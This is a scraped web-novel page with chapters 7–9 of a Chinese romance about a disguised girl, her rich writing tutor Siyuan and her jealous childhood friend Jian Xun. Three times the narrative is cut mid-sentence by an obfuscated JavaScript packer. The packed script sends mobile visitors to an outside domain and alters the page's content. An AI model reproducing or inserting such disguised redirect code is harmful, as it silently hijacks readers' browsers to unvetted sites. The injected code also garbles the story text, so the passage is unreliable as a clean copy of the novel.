《首辅当年追妻记事簿》 7. 第 7 章 可简珣到底是发小,且时常出手相助,如今他冷他的,自己不能冷呀。 黄时雨对着他背影热心道:“大后天我来送樱桃糕,你要不要?” 简珣对她摆了摆手。 不意有个熟悉的声音接话,“原来你会讲官话!” 黄时雨后背一麻,缓缓转过脖子,又见面了,鹿锦书院的金主,叫什么渊的。 金主仔细打量她片刻,豁然开朗道:“就是你——骑驴的家伙!” “俺,俺……” 金主没好气道:“俺什么俺!” 说着欺身上前,提拳就要揍她。 吓呆了的黄时雨,傻傻望着拳头也不知道躲。 拳头却在离她鼻尖一寸远的地方稳稳停住,金主忍俊不禁,“哈哈哈哈,你这个小傻子。” 黄时雨不敢妄动,仰脸望向他。 “这叫略施薄惩。”金主没好气地瞪她一眼,“是了,方才你说什么樱桃糕,在哪儿?” 黄时雨见他不生气了,连忙堆笑道:“在黄记甜水铺子。我家可是有十二种甜水,八种糕点,”又乖觉指向小半筐樱桃,“大后天,再上樱桃糕。” 这金主有双对世事皆好奇的眼眸,嘴角上扬道:“我还没逛过,说来听听,有哪些招牌。” 这就不得不提兰霜乳茶和带骨鲍螺,黄时雨绘声绘色描述一番。 金主漫不经心的“哦”了声。 这人八成是没见过。黄时雨不遗余力显弄自家,末了道:“还望公子有空前去品尝一二,我家的可是加了许多牛乳。” 金主觉得话都说到这份上,再不买过意不去,便道:“那行,你送一份来,东泉门舍馆左边第二个,就是我住的。” 黄时雨含笑道:“我们铺子人手有限,暂时……”挪不出人手送的话还没说完,金主递给她一两碎银子。 且看清楚,这是银子不是铜板。 他言简意赅,“跑腿钱。” 黄时雨心跳如雷,“好……” 这一两银子足够买几百份点心了。 她背着樱桃一口气儿跑回铺子里。 丐婆顶着满脸伤又在她家门口重操旧业,瞅见她,还讳莫如深笑了一下,扬声道:“算卦,算卦,一卦十文,结个善缘,愿者上钩。” 黄时雨推开厨房的门,“花婶,想办法再弄一份兰霜乳茶和带骨鲍螺,现下急要。” 花娘子为难道:“这不行吧,明天的分量就不足了,万一田大牛乳送不及时咋办?” 黄时雨掏出一两银子,晃了晃,“遇到大主顾了。” 花娘子心领神会,重新净了手忙碌。 铺子的备用牛乳就是来应付这种突发状况的。 半个时辰后,黄记小东家提着食盒来到了金主的东泉门舍馆。 金主的丫鬟迎上前接了。 黄时雨笑靥如花,“您尝尝看,这是我们黄记的招牌。” 金主点点头。 却见那丫鬟款款施了一礼,姿态端如湘竹,双肩不晃,腰身挺直,轻语慢言道:“公子稍等片刻。” 为何要等呢,不是拿双筷子就可以吃的吗?黄时雨虽有疑惑,却垂手静候,料想别人家这么做定有自己的道理。 丫鬟退至梢间,不多会儿再次走出,点心已经盛放于精致的银盘,且每块都缺了些。 该不会是端下去偷吃了吧……这想法过于惊人,黄时雨定了定神。 金主眼神约莫不太好,对此视而不见,抬手动筷。 黄时雨殷殷地望着他,如今也是她的金主。 他吃了一口带骨鲍螺,细细咀嚼,眉心微蹙也望向她。 “好吃吧?”黄时雨满脸期待。 金主缓缓咽了下去,怜她眸光切切,话到嘴边改成了,“好……吃……” 却说什么也不肯再去吃第二口。 他意兴索然捧起银盏,望着所谓的兰霜乳茶,浅尝一口,脸就黑了。 黄时雨隐隐觉得不妙,“你,没事吧?” 金主几乎要怀疑黄时雨在耍弄他,“带骨鲍螺好歹是真材实料,兰霜乳茶怎么回事,除了牛乳,哪来的兰霜茶……” 分明是用红萝茶冒充的。 黄时雨也不知何为真正的兰霜茶,但这个叫兰霜乳茶,家里也一直这么卖,客人们都很喜欢,怎么偏偏到他这里就不行了? 丫鬟笑着打圆场:“我家公子舌尖娇贵,这位小哥勿怪。” 金主拧眉看向丫鬟,丫鬟面露惶恐,轻轻摇了摇首,金主便不再说什么。 “所以,到底什么才是真正的兰霜茶?”黄时雨微微偏着头认真询问。 “乃洛南名茶,《茶经》上有记载,按经书所言香味确实与小哥家的不一样。”丫鬟笑道。 倘若是真的,那么黄记就是假的了,黄时雨有些失落。 金主打量她,略一思忖,对她招招手,“你过来。” 黄时雨随他走出小厅,来到了一间书房,满室墨香。 她长这么大还没见过这么多书。 金主挑来挑去抽出一本字体描金的,“看见没,《茶经》。” 他声音在她头顶响起,黄时雨全神贯注盯着他手指点的每一处,一时没注意,两个人挨得特别近。 金主问:“你是不是不识字?” 这都被他看出来了,黄时雨咕哝道:“识字的,只是……” “只是什么?” “有的不认识。” “哪一个?” “这个,这个,这个,那个……”黄时雨指了好几处。 金主面无表情看着她。 黄时雨有种挫败感,极力挽尊,而最拙劣的挽尊就是无视自己的短处,去揭旁人短处,“干嘛这样瞧我,倒是公子你,家里辛辛苦苦送你念书,也不见珍惜,都什么时辰了还在舍馆玩!” 丫鬟目光不虞看向黄时雨后脑勺。 金主不以为意,“我们家不指望我科举。” “不指望又怎会花这么多钱送你进来。”料定他也是个不懂事的二世祖。 “你不识字我又没说什么,你怎么还急了。”金主哭笑不得。 谁急了啊!黄时雨羞惭难当。 金主见她像个小姑娘似的,目光淡淡凝在她脖颈,又缓缓落在她唇上,又往下看了一会,忽然就笑了,“别哭啊,要不我教你,如何?” 黄时雨一愣,抬头望望他,“真的吗?” 金主“嗯”了声,“反正我是二世祖,无所事事嘛,就教你认认字咯。” 他一双眼深邃着,看透了她的心思。 黄时雨心头一跳,赧然道:“方才是我失礼了,请公子宽宥。” 金主长长地“嗯”了声,“这还差不多。” 他招招手,黄时雨来到他身边,丫鬟早已上前开始研墨。 金主蘸饱墨汁,在宣纸笔走游龙,字体气势磅礴,黄时雨看不懂,只觉得异常好看,宛若看见了青山飞瀑,悬崖削翠,落日镕金。 她指着笔画少的那个字,“这是思。” 他指着笔画多的,“这是渊。思渊是我,记住咯。” “原来你叫思渊。” “表字思渊。” 表字她懂,就像简珣也叫简允璋。黄时雨问:“那你叫什么名字呢?” 金主笑着看她,“你叫什么呀?” “黄时雨。” “今年几何?” “十五周岁了。” 金主愕然,只比他小两岁。 他戏谑道:“你这么矮的男子汉可真少见。” 黄时雨道:“是你太高了。” 被他逗了一下,她就忘了问他叫什么这件事。 这日一整个上午,她学会了十几个字。 金主还送了她一沓字帖、笔墨若干,让她回去好生练习,下次再见面就要批改她的仿,然后还要尝她做的樱桃糕。 黄时雨无不应诺,模仿见过的学子模样,毕恭毕敬称他老师,然后将在袖子里攥了很久的邵西瓷娃娃递给他。 十二生肖的龙。 金主挑了挑眉,“还有贽见呀。” 黄时雨面颊滚烫,幸而老师没有嫌弃她送的不是一整套,竟开心地收下了。 金主笑呵呵打量她离去的背影。 黄时雨步履轻快,心间洋溢着金子般的暖阳,就像金主含笑的眼睛。 她哒哒哒出了东泉门。 冷不丁被一股大力拽进了旁边的太湖石后。 简珣没想到黄时雨那么轻,才用了一点力气就飞起来了,撞进他怀里。 二人甫一沾上立即分开,各自后退两步。 “你发的什么癔症。” 黄时雨眼睁睁见笔墨纸砚撒一地,登时气不过捶了他。 简珣挨了两拳,有点懵。 却见她满脸的不知事儿,不禁怒从心来,“你不要命了?” 黄时雨不解地仰头望定他,“我看是你差些要了我的命。” “我问你,你跑进思渊舍馆一上午做了什么?” “你怎知晓的?”黄时雨愕然。 “我也住附近。”简珣冷笑。 原来如此,黄时雨意外之余心情甚好,便也不深究他的鲁莽。 “瞧见没,”她拾起字帖,“思渊给我的,不到两炷香我就习得了十五个字。” 一张芙蓉面泛起明丽的笑,直看得简珣心头突突地跳。 简珣凝眸端量她片刻,“就只习字?” “对呀,不然呢?”黄时雨满心困惑,横眼瞥向他。 “你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902275|160115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该不会天真地以为他当你是小哥才相谈甚欢吧?”简珣眯了眯眼,“就算之前是,相处一上午也早就不是!黄时雨,你是不是傻?” 只消稍一打量她脖颈和胸口,就能分清。 你意思是……?黄时雨吞咽了下,心田充盈的喜悦倏然流逝,疑恐取而代之。 思渊发现了? 那会不会像阿爹一样…… 明媚的神采眨眼就因简珣的话褪色,眼角也耷拉下去。 见火候差不多,简珣隔着衣袖将她扶起。 “以后不要再去。”他耐心劝道。 “可是思渊并未揭穿,默认了我习字的事儿,也认真教了我,大家相安无事,缘何就不能再去?”黄时雨不虞。 “你若不知自爱,就休怪我请示你爹。” 七寸瞬间被人捏住了。 黄时雨一时凝噎,渐渐泪盈于睫,抬首瞪向面目可憎之人,“你又不是我爹,凭何多管闲事?” “我是你爹的学生。” 一句话就将她噎死,黄时雨没忍住,哭出了声。 这里人来人往的,被人瞧见就说不清了,简珣连忙拽着她躲进更深处。 她不愿意,犟得很,挣扎间就有两个路人往这边走来。 简珣一把捂住了她的嘴,原想低首安抚两句,下巴又被她晃动的额头蹭地发痒。 他顿觉麻麻的,身如过电,一种从未有过的奇异热流游走四肢百骸,连尾音的调子都颤了起来,“你安静些,再乱动我便当你主动邀我失礼了。” 黄时雨偏不信邪,铁了心挣扎,腰间一紧,被他狠狠箍住,他呼吸明显发急,躬着身子拥她,许是意识到什么,黄时雨渐渐熄了火。 简珣方才缓缓松开。 这厢嘴巴甫一自由,她又开始叫屈:“简允璋,亏我一直以为你是好人,觉得你跟旁人不一样!” “嘘,小点声。” 两个路人似乎听见异动,举目四顾。 简珣只好再次拢住她,捂着那张惹事的嘴,力道很温柔,但她越挣扎他箍得越紧,她攥着拳头捶他,他也不恼。 “黄时雨,你是不是故意的,故意让我抱你。”简珣竭力忍住尴尬之处。 黄时雨僵住,在心里将他祖宗十八代咒骂一遍。 安静许久,那只钳制自己的手总算松懈,她奋力蹿了蹿,“你抱够没?” 路人早就走了! 简珣垂着脸,手臂也缓缓垂落。 原来他也有怕的,黄时雨像是抓住了把柄,作死道:“你且等着,回头我就告诉阿爹你欺负我!” “你休要胡言乱语。”简珣声音极冷。 “我还要告诉山长!告状是吧,谁不会啊。” “好,你去告,我不介意今年就纳你。”简珣皱着眉忽然就笑了。 黄时雨一抖,登时闭了嘴。 简珣不意她这般害怕,想抬手安慰,却又不知该落在何处,对峙半晌,他才冷着脸道,“你若实在想习字,不如我教你吧,我也可以的。” “我才不要跟你学。”黄时雨瞅他哪哪都不顺眼。 简珣撩起眼皮,目光凌厉。 这样的他,呼之欲出的压迫力,使人莫名地心颤。 黄时雨后退一步,吸了吸鼻子,“凭什么跟思渊不行,跟你就行了,你不也是男的!” 这话把简允璋深深问住了。 他愣在原地,陷入了沉寂。 良久,他才淡淡开口:“因为我有心悦之人,自不会打你什么歪主意。” 他打的主意都是不歪的。 黄时雨眉心微蹙,燃起了仗义之心,脱口替金主鸣不平,“意思人思渊就会打歪主意是吧,就他那长相,要打也是我来打。” 简珣用看疯婆娘的眼神看着她。 黄时雨试着推他一把,推不动,显然他不让,自己走不了的。 她换了副听劝的面孔,假意服软,“那我跟你学认字成不,不要再瞪我啦。” 简珣果然有所松动,目光放柔了。 她乘胜追击,“都说了跟你,怎么还堵着我。” 简珣牵了牵嘴角,“走吧。” 黄时雨如蒙大赦,忙不迭逃跑,腹部就撞上了他手臂,又被他拦住。 “简允璋!”她要恼了。 简珣柔声道:“我知道你心里不服气,不管你信不信,此番我全然一片好心。” 所以,她不可以记恨他。 “我信我信。”黄时雨点头不迭,“您一片丹心点醒了我,如今我迷途知返,从此你就是我的异姓兄弟。” 简珣无奈地松开了。 甫一从他手上挣脱,黄时雨一边跑一边骂,“简珣你就是个王八羔子。” 简珣立在原地,迷茫地望着黄时雨。 8. 第 8 章 一口气从书院跑回黄记铺子后院,众人只顾着大堂和后厨,倒也未曾留意黄时雨的异样。 午膳时间,柳儿将饭菜端上二楼请黄时雨用饭。 二小姐的嗓子似乎哑了,应一声就没再发出动静。 柳儿将饭菜摆好,乖巧地告退。 黄时雨那时正抱着字帖躲在被窝悲春伤秋,注意力又渐渐被字帖吸引,忘了哭。 除了字帖,她还有笔墨纸砚了。 纸质绵软而韧厚的宣纸,表面光泽锋颖尖锐的紫毫,黄时雨越摸越动容,这得多少钱啊,感叹自己何等造化,结交这么一位金主。 念头一转就又想到了阿爹。 他素来不允家中姐妹读书,便是三妹想要习字也会被揍的。 姐姐说他从前不是这样,阿娘去世后性情方才大变,多了一道不可触碰的逆鳞。 简珣却用阿爹威胁她……虽然他并不知阿爹逆鳞,本意是想拿捏她私入男子舍馆一事,却歪打正着。 黄时雨以袖抹了把泪。 她这个人素来不记仇,忘性大,天大的事睡一觉就抛到脑后,不过这回,却决定记简允璋的仇! 若他敢多一句嘴,她就……她就……她一时也想不出恶毒的法子掣肘。 状告他欺负自己,不啻自损一千伤敌八百。 午后她才从房间出来,清洗樱桃去蒂去核。 柳儿也过来帮忙,手脚算不得麻利,眼神却比任何人都认真。 黄时雨倒觉得柳儿比从前进步很多,眼里有活,肯学肯干就好,也是项谋生本领。 主仆二人占了厨房一角,黄时雨教柳儿熬制樱桃酱,还未出锅热气就氤氲了满室甜香。 花婆婆和花娘子忙凑过来瞧,黄时雨分了大家一人一碗。 时令新鲜的东西,就是不一样。 花家婆媳赞不绝口。 樱桃糕做起来倒也不难,取糯米粉、粘米粉、绵白糖,旁人家一般以清水糅合,而黄记用的牛乳,再以樱桃酱做馅,咬一口酸甜绵软,分外开胃。 黄时雨又在樱桃酱旁放了半勺玫瑰卤子,果香花香相融,在泽禾这个小地方,算别出心裁的精致。 当然,价格也比旁人家贵些。 想到还有一半的樱桃留在树上,不摘的话就要被鸟儿吃干净了。 黄时雨左思右想,想到华山长的大院里还有把木梯,那就再辛苦一趟,全摘回来得了。 她将蒸好的樱桃糕分成大小相等的八块,四块一组,裹了荷叶,又包一层素面帕子,四四方方,齐整可爱。 礼多人不怪,当小厮瞧见她提来的点心,顿时眉飞色舞。 黄时雨两手一伸,“先予华山长尝尝,过几日我再多带些。” 小厮咧着嘴笑,“黄二姑娘真客气,这樱桃再不摘就要被鸟吃光啦,我帮你搬木梯。” 搬完木梯,小厮提着点心一溜烟跑不见踪影,早些送山长手里,便能早些分得一块尝尝。 当黄时雨仰着脸研究从哪一片摘更好时,简珣的声音自头顶上方飘来,“福生,帮黄二姑娘摘樱桃。” “好嘞。”福生清脆应下,都不给黄时雨反应的机会,三两下蹿上梯子,摘得飞快。 黄时雨重新仰起脸,视线里出现了简珣。 他站在她身后,微微俯身,垂着脸看她,倏然一笑,热息都扑在了她额头。 简珣的气息犹如兰芝一般清馨,但是两人的姿势好生奇怪。 黄时雨一惊,忙不迭站直身子转身怒目而视。 “我可记得先前有人连名带姓凶我,方才怎地又变回了黄二姑娘!” “你不也骂了我,粗俗。”简珣背着手,“那要不……我叫你梅娘。” “不,行!”及笄的黄时雨已经明白姑娘家乳名的深意,只有亲近的人才能叫。 简珣又不是她什么人,岂能如此。 简珣只是试探了下,见她不高兴,又改口:“那黄二姑娘打算什么时候才不生我气呢?” 黄时雨不答反问:“你不会是守在这里等我的吧?” 简珣笑道:“不用守呀,你回去哭会儿,再忙会儿,肯定放不下这半树樱桃,我见时间差不多便过来。” “别以为你很了解我,不过是巧合罢了。”全都被他说中了。 简珣肃了肃,问道: “咱俩认识这么久,从未红过脸,你真要跟我记仇吗?” 黄时雨垂眸绞着手指:“……” “你扪心自问,我一向待你如何?” 当然是挺不错的。 他曾陪她一起观察榆树下的蚂蚁窝,也记得她爱吃冰碗,每年夏日都让福生送。乡下十二岁开始讲究男女大防,他就不再送了,却暗中照顾孤身来到甜水铺子的她。 来此地的第一年,若无福生忙前忙后引路,她连鹿锦书院大门的方向都摸不清。 前几日又热心地稍她同路。 阿爹就从不关心这些,甚至将她撵出家门,美其名曰去铺子学手艺。 实则是见她住在家里坏了黄太太心情。 她,是那个家,多余的人。 亦是阿爹心烦却又不能抛弃的负担。 黄时雨的眼眶酸胀酸胀的,回过神发现简珣正在用帕子轻柔拭去她眼角泪痕。 他“啧”了一声,“怎么又哭,你是唯恐别人不误会我欺负你。” 她推开他的手,自己用袖子擦了把,“我承认你一向照顾我,可若是……若是……” “若是如何?” “若是你告诉了阿爹我学认字儿,咱俩就割袍断……断……” 简珣道:“义。” “我知道是义。” “行,你知道。” 黄时雨:“……” 简珣柔声道:“以后,我不再多管闲事,那从明儿开始,你来我这里领字帖,我……” “不行。” “为何?”明明说好了的,简珣攥了攥手心。 当然是金主多金又风趣,比动不动管东管西的简珣有意思多了,不过这些实话说出口就不美了,所以她在他身上找借口,“你教我识字就不怕被心悦之人知悉么,咱们得避嫌!” 简珣喉头一阵凝窒,沉默了片刻才冷笑道:“我一番好意又不是要做见不得光之事,为何要避?再说,鸢娘才不像你,一点规矩都不懂。” 心头一闪,他忽然恍然大悟,“原来黄时雨也知‘避嫌’二字,那为何还要与思渊独处?” 黄时雨忽然觉得简珣这人好没道理,满脑子勾当,翻脸起来一口一个黄时雨,她还会一口一个简珣呢,“简允璋,你就扯着这面旗去我阿爹跟前说短吧,我才不会怕你。” “黄二。” 好,现在直接简称她黄二了。 他的声音没有一丝起伏,“你可知思渊是什么人,我猜你连他姓甚名谁,哪里人士也不清楚。” 黄时雨笑了,“我就是想认字,赶巧他不嫌弃且愿教,我们一拍即合,为何一定得了解他是谁?” 简珣哂笑,“我也愿教怎么就不见你选我,当真没其他想法?” 黄时雨不意这么点小事,被简珣想的那么复杂,“我又不知你也肯教,总不能因为你再去推了先约好的他吧,那我成什么人了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902276|160115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 金主连束脩都未提,轮得到她在这里挑三拣四么。 好言好语解释一番,未料简珣的脸色愈发地难看,他嘴唇抿得紧紧的,蹦出几个字,“不要痴心妄想了。” 我怎么又开始妄想了?黄时雨拧眉瞪他。 连我的妾都不愿做,还敢肖想思渊。简珣凉凉一笑,决意不再管她。 言尽于此,她要作死便作吧。 骑在木梯上的福生终于摘完了樱桃,偷眼瞄了下方,适才还与黄二姑娘“打情骂俏”的少爷,此时的脸色又变得铁青。 但凡这二人对上,真真是猫脸一阵狗脸一阵的。 福生决定在梯子上待一会儿再下去。 简珣还有功课要做,不宜再浪费时间,他深眸沉沉,甩袖撇下黄时雨,朝着舍馆方向去了。 福生连忙溜下木梯,对黄时雨道:“黄二小姐,我送你。” 黄时雨婉拒不迭,“不敢劳烦的,我自己能行。”怎好使唤简珣的贴身小厮。 “没事儿,这个时辰少爷得练剑,有福喜和温良伺候,我也帮不上什么。” 黄时雨诧异道:“他不读书?” “读的,不过习武也是少爷功课的一部分,此外琴棋书画都不能落下。” “莫非他是三头六臂,如何学习过来……” 福生嘿嘿笑两声,“我家少爷没有三头六臂,却一个脑袋顶旁人十个!” 黄时雨又惊又羡。 福生不由分说背起竹筐就跑。 少爷生气归生气,自己却是不能丢下黄二小姐的,否则少爷会更生气。 他得亲自将黄二小姐送回家,才算完成少爷的交代。 没想到送黄二小姐回家的好处还不少。 那日福生提了两串点心,一蹦一跳返回书院。 黄二小姐亲手做的樱桃糕香浓又清甜。 生气的少爷没什么胃口,全便宜了福生和福喜。 鸢小姐退婚也没见少爷这般低落,不知内情的人少不得要以为退了他婚约的是黄二小姐呢。福生在心里嘀嘀咕咕的。 不过黄二小姐确实毁了与少爷的约定,习字之约。 被福生嘀咕的鸢小姐宋鸢正坐在雅月轩,平静目视一众收拾箱笼的仆婢,明日便要启程回京。 简欣兰打量如花似玉的爱女,温柔地梳理着爱女及腰长发,“往后,咱们家总算可心无旁骛参加太后娘娘的花神宴,我的鸢姐儿必将艳冠群芳。” 所谓的花神宴,不过是太后娘娘为肃王办的一场选妃宴。 宋鸢看起来并没有多少欣喜。 她望着窗外清冷月色,心里想的却还是发小竹马。 不论荷塘偶遇还是桑园叙话,都是真心的,但悔婚却非她本意。 昔年尚小,宋鸢的认知仅停留在玩伴上,可现在长大了,再见到他感觉完全不一样的。 瞧着拿回的庚帖,已是闲愁万种,心痛神驰。 阿珣的邻家妹妹真漂亮。 阿珣若轻若重地提及邻家妹妹,无不令宋鸢深觉危机重重。 她能感知他浅浅的心思。 宋鸢自小受到的教育皆为如何当好主母,倒不至于容不下一个小妾,但妾若是抢在她前头……她是一定不给阿珣好脸色看的。 宋鸢暗暗咬着下唇,迟迟地开口:“阿娘,我,我不想做肃王妃。” 只想留在阿珣哥哥身边。 “傻孩子,兴许你将来想做也做不了的。”简欣兰叹口气,“娘知道珣哥儿长得好,见了他你怎会不喜爱,娘答应你,若是花神宴没选上,珣哥儿便是咱们宋家的不二女婿。” 9. 第 9 章 黄时雨一夜好梦,次日起了大早却没去厨房忙活,而是静静待在二楼,闭门不出。 花娘子和花婆婆少她一个不少,多她一个也很好。 她是小东家,偷闲躲懒并无人敢置喙。 更何况东家将她安排在铺子那日,背后还有诸多交代。 黄时雨躲在房中习字,一笔一划,像模像样地描摹。 思渊所赠之物里包含一本游记,篇幅不长,内容有趣。 若能将这本书从头到尾通读一遍,也算认全了字,比读《三字经》有趣。思渊是这么交代她的。 所以黄时雨花了两个时辰读书,将不认识的字全抄了下来,归整一处,以便下回向思渊请教。 而昨日新习得的十五个字,则用力在脑子里过滤,边过边写,如此反复,倒也很快吸收消化。 她生于乡野,没见过世面,心里却自有一番天地,不输于旁人。 冷不防传来几下急促扣门声,是柳儿。 她压着嗓子道:“二小姐,老爷来了。” 黄时雨一个机灵弹起,将所有家当统统收进早有准备的箱笼,又在盆里仔细净手,忙而不乱,整个过程仿佛演练了无数次。 黄秀才虽不会进黄时雨的闺房,却难保他身边没有进来的仆妇,譬如黄太太的人。 故而黄时雨从安排柳儿放风到藏匿“赃物”,做得滴水不漏,不留一丝儿把柄。 黄秀才正坐在后院的小厅里喝茶,听花掌柜的报账,处理庶务。 待这厢处理完毕,黄时雨才端着托盘走进来,“阿爹。” 黄秀才抬眼看她,点了点头。 黄时雨毕恭毕敬为阿爹沏一盏新泡的峰阳山茶,茶汤清亮,这茶只有他过来铺子才舍得拿出。 黄秀才巡查铺子素来没有规律,有时连日有时一两个月,既无规律,那么他任何时候出现都不足为奇。 黄时雨只是未料到他老人家此番竟是专程为自己而来。 “上次在书房与你说的事儿,出了点意外。”黄秀才喝了口茶。 黄时雨的表情并不意外,垂下眼睛盯着桌面的花纹瞧,“什么意外呀?” “李富贵看上的人是晴娘。缘分这事强求不得,且他又未正式向你下聘,如今对晴娘一见钟情,倒也算不得失信,改日阿爹再为你寻一门相当的亲事。”黄秀才又喝了口茶,起身活动僵硬的肩膀。 李富贵在泽禾这个小地方算佳婿,黄太太得知黄秀才的想法,抢在李富贵见到黄时雨之前,安排了老三黄晚晴与其相亲,两下里印象都不错,昨儿就交换了庚帖。 黄时雨笑道,“那是好事呀,挺好的。” 她笑的时候两行清泪汩汩而落。 黄秀才不会回头,所以他看不见,说完了该说的抬脚就朝大门去了,家里还有一堆事情。 黄时雨捧着空荡荡的茶盏,独自坐了很久。 坐累了才重新上楼继续练字。 偶尔也在纸上随笔勾勒,有时青山有时日升日落,想到什么勾勒什么。 柳儿一开始看不太懂,只觉得宣纸东一块黑,西一块灰的,斑斑驳驳的,看得多了竟觉知出一丝意境,还怪好看的。 她抚掌道:“我以前在庙会见过秀才画画儿,五颜六色的,绿的树红的花儿,还有穿彩色裙衫的仙女娘娘,竟不知二小姐的一笔黑白,深深浅浅也能画一方世界,好看得紧呢。” 真的好看吗?黄时雨乱画的,此前从未动过笔,也无人教过她技巧。 没人教过,所以也算自成一派。 她尚未自知。 只知浪费了许多本该用来练字的宣纸,只好自掏腰包前去文砚斋购买。 此后日渐成瘾,时常偷摸自娱自乐暂且不提。 黄太太一番李代桃僵的相亲操作,不仅解决了晴娘的终身大事,也将黄时雨重新拉回了手心,待价而沽。 不意黄秀才竟因此事真正生恼,接下来一连数月不再进她房间。 廿八双日,黄时雨将餐食送去了学馆。 华山长就在室内用餐,而学生巳时才会来此间。 小老头吃相斯文,边用餐边将一本半旧的书往旁边推。 黄时雨瞄了一眼乃《文公散集》。 文公应是个很了不起的人物,会写诗会画画,当然还特别有钱,此书便是他周游天下时所写,还有亲笔绘的插图,妙趣横生。 黄时雨亦看得津津有味。 华山长将书收回,极其宝贝地摸了摸,道:“下回送餐过来再看。” 黄时雨心中一喜,忙朝他敛祍施礼。 吃了黄时雨那么多樱桃糕,华山长终于良心发现了。 他从筐里挑了根破塘笋(破塘,古代地名)送她,说道:“此笋同米饭一起蒸熟而食,嫩如花藕,甜如蔗霜,连带着整锅米饭清新香浓,你且回去尝尝。” 这可是笋中极品。 黄时雨听得口中微微生津,连忙谢过先生。 她先回了趟铺子,等约定的时间临近,方才怀着忐忑的心情,来到了东泉门左边第二个馆舍。 小厮道:“黄小哥稍等,我家公子应该快回来了。” 这厢话音一落,便听几道少年人清亮的声音由远及近,金主箭袖劲装,另外五人包括简珣在内皆是如此装束,显然将将结束了一场蹴鞠。 金主左手搭简珣肩上,右手颠鞠,目光发现了黄时雨,对她扬了扬眉。 黄时雨回一个老实本分的微笑,然后看向旁边的简珣,也挤出一抹友好的笑意,“简允……” 璋字还没说出口,他径直错肩而过,视她如无物。 另外四个少年人看着她发笑,窃窃私语。 黄时雨悻悻然地收回打招呼的手。 简珣忽然又顿住,偏头看向她。 一双含情目,此时像是猝了冰霜。 黄时雨隐隐发慌,直接调开视线不理他。 “回去。”他低声警告。 “多管闲事!”她回。 金主失笑道:“你俩在打什么眉眼官司?” 简珣闷闷不乐,并未作答,只勉强展颜与金主告辞,其余几人也相互拱手而别。 等人都走了差不多,金主回身粲然一笑,一把搂过同样闷闷不乐的黄时雨,“你来啦,跟我进来。” 黄时雨连忙旁移两步,避开他的手,赔笑道:“我自己走!” 金主暗笑,将鞠丢给小厮,抻了抻胳膊,“稍等我会。” “不急,我等您忙完再打扰。”黄时雨非常乖巧。 她跟在金主身后,迈进正厅,只听他道:“银鹤看茶。” “是,公子。”叫银鹤的丫鬟躬身领命,笑吟吟邀黄时雨落座。 而金主已经被另外两个包围。 他习以为常展开双臂,两名丫鬟熟练地褪去他腰带外衫,黄时雨忙不迭转过身。 他都这么大了,怎么脱衣服还得让美女姐姐们帮忙啊,黄时雨蹙眉忖度。 身后不一会儿就没了动静,她才敢转过身回到座位。 银鹤提裙款款而来,含笑斟茶,“公子请用。” 黄时雨柔声道谢,双手奉上樱桃糕,叮嘱道:“吃之前加热一遍味道则更好 。” 银鹤莞尔,端然接过。 浅抿一口金主家的茶,与上回饮的一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902277|160115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好喝,滋味却又不同,立即有异香黏附舌尖,久久徘徊,甘甜之气不断回荡。 从未有过的体验。 怨不得他喝不下黄记的兰霜乳茶。 黄时雨陷入了沉思。 约莫一个时辰,金主沐浴更衣完毕,满头青丝散在背上,额前碎发编成几缕细小辫子,随意挽于脑后,缚以霁青色茧绸丝带,衬得白瓷的肌肤愈发清透,墨黑的鸦发也愈发浓酽。 身上则穿霁青色宽袖襕衫,锁着云水蓝滚边,也不知是什么料子的,绸不似绸,罗不似罗,只觉薄如蝉翼,流动如云,恍若天衣。 因那衣料极为特殊,黄时雨多看了两眼,为了不失礼,她也只看了两眼,然后十分谨慎恭敬地起身。 这是真将他当成老师了。 金主招呼她,“跟我来。” 二人进了书房,金主将门关上,丫鬟却没跟进来,黄时雨现了怯,回头瞅着门,想打开又觉得唐突,只能硬着头皮继续走。 背过身,金主忍不住偷笑。 他往太师椅里一坐,指着书案对面为她准备的圈椅,道:“以后,你就坐这儿。” 黄时雨连忙谢座,这才将练习三日勉强能入眼的仿双手呈上,“老师,请您过目。” 金主抬眼看她,笑道:“才三日就进步这么多。” 黄时雨道出诀窍:“说来也怪,我将它们当成字写的时候束手束脚,当成画儿反倒信手拈来。” 她天生眼波盈盈,再加上心情愉悦,更添几多生动妩媚。 金主目光不意抵上她的,顿觉灼灼地撩人。 又见她赤诚信赖,倒是不好再糊弄她,于是敛神正襟危坐,捺下心头跃跃欲试的戏弄,认真指点起来。 如此一炷香时间匆匆而过。 黄时雨记在心里,忙又将还未学成的三十个字递上。 金主吐字清晰,说一口标准官话,听不出乡音,仿佛就是宝天府金平人。 金平乃大康都城,俗称京师。 